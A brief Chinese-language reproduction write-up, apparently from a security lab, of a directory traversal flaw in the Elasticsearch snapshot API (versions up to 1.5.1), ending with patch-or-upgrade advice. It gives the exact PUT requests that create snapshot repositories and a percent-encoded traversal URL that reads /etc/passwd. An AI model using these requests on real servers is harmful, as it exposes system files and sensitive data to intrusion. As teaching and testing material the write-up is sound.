漏洞描述:
Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。Elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.通过burp抓取该页面的包
3.修改get请求,新建一个仓库
PUT /_snapshot/test HTTP/1.1
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
4.接着修改请求,新建一个快照
PUT /_snapshot/test2 HTTP/1.1
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
5.使用以下URL查看passwd文档,返回的值为ASCII码,需要解码
http://ip:port//_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
6.F12打开开发者模式,在控制台中输入以下内容对ASCII码进行解码
String.fromCharCode(ASCII码)
借此漏洞,可以访问攻击者想要的敏感数据,包括配置文件、日志、源代码等信息,更加方便攻击者对网站进行渗透。
修复建议:
- 打补丁。
- 升级版本。